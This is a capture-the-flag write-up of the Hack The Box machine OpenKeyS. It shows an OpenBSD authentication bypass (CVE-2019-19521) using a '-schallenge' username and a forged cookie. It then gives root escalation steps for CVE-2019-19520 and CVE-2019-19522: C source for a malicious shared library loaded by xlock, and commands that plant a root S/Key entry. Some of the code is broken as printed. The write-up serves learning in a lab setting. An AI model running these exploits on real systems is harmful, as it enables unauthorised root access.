This is a write-up on the OpenKeyS machine challenge from HTB. For more information on challenges like these, check out my post on penetration testing.  Special thanks to HTB users polarbearer & GibParadox for creating the challenge.

OpenKeyS is a fun challenge that makes use of an OpenBSD authentication bypass combined with privesc.


Start with an nmap, which shows ssh and a web server running on the machine.  The website displays a login page.


Use the dirb tool to enumerate the website and find hidden folders and files. This reveals an interesting file which can be downloaded for analysis.

dirb /usr/share/wordlists/dirb/common.txt
curl --output auth.php.swp

The file is a vi swap file, and can be examined with vim -r. Swap files generally contain information about the user who originated the original file, and in this case the username is jennifer.  

Browse through the code and notice another file of interest called check_auth.  This is a system command that the web application calls during the authentication process.  

Getting User

The file check_auth is an OpenBSD binary which is susceptible to authentication bypass (CVE-2019-19521). Calling the function with username "-schallenge" will always be successful.  

Passing -schallenge in the login form will cause check_auth binary to result in a successful authentication, but the login will still fail since the application will not recognize "-schallenge" as a valid application user.   Use Burpsuit to pass -schallenge in the login form and additionally add a cookie to set the username as jennifer.  The application will try to authenticate jennifer but will pass -challenge to check_auth and the authentication will succeed.  

After login to the website, an SSH key is displayed which can be saved locally and used to login as the jennifer user.

Getting Root

As user jennifer, exploit CVE-2019-19520 to obtain group "auth" privileges, followed by CVE-2019-19522 to obtain root. Instructions are below and complete details can be found in this Qualys security advisory. Note that files in /tmp on this machine are periodically deleted.

cd /tmp
cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);

gcc -fpic -shared -s -o swrast_dri.c
env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
chmod 0600 /etc/skey/root
env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335